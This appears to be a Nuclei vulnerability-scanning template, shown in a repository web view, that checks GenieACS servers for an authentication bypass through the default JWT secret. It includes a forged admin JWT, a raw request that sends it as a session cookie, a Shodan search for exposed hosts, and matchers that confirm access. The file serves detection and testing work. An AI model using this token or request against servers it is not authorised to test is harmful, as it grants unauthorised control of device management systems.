nuclei-templates/http/misconfiguration/genieacs-default-jwt.yaml

57 lines
2.0 KiB
YAML
Raw Normal View History

2023-06-25 17:21:46 +00:00
id: genieacs-default-jwt
info:
name: GenieACS - Authentication Bypass (Default JWT Secret)
2023-06-25 17:21:46 +00:00
author: DhiyaneshDK,pussycat0x
severity: high
description: |
GenieACS, an Auto Configuration Server (ACS) for TR-069 enabled routers and similar devices, is vulnerable to authentication bypass due to the use of a default JWT secret. During installation, if the default JWT secret "secret" is not changed, an attacker can create a JWT token, sign it, and use this token to log into the GenieACS UI interface. The attack is carried out by setting a cookie named "genieacs-ui-jwt" with its value being the JWT token.
2023-06-25 17:21:46 +00:00
reference:
- https://0x00sec.org/t/genieacs-and-the-tale-of-default-jwt-secret/32738
classification:
cwe-id: CWE-798
cpe: cpe:2.3:a:genieacs:genieacs:*:*:*:*:*:*:*:*
2023-06-25 17:21:46 +00:00
metadata:
verified: true
2023-10-14 11:27:55 +00:00
max-request: 1
vendor: genieacs
product: genieacs
2023-06-25 17:21:46 +00:00
shodan-query: http.html:"genieacs"
tags: misconfig,jwt,genieacs,default-jwt
variables:
cookie_name: genieacs-ui-jwt
default_jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXV0aE1ldGhvZCI6ImxvY2FsIiwiaWF0IjoxNzgyNTc0NDEyfQ.y2JaygP5n4WBYQ_dytgS0qet0b6KvtT31UJWqee4L6c
2023-06-25 17:21:46 +00:00
http:
- raw:
- |
GET /api/presets/?filter=true HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/*
Cookie: {{cookie_name}}={{default_jwt_secret}}
2023-06-25 17:21:46 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"provision":'
- '"provisionArgs":'
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
extractors:
- type: dsl
dsl:
- '"JWT Secret 👉 " + cookie_name + "=" + default_jwt_secret'
# digest: 490a004630440220389b51224a53596dc94027b27c7c3737a69f45b30141e0239c63d681e26f5dfe02205b7fd4b5e07ef3f0a9397a734a5b859acd9b4edf58c16c1c39a80d28730a1240:922c64590222798bb761d5b6d8e72950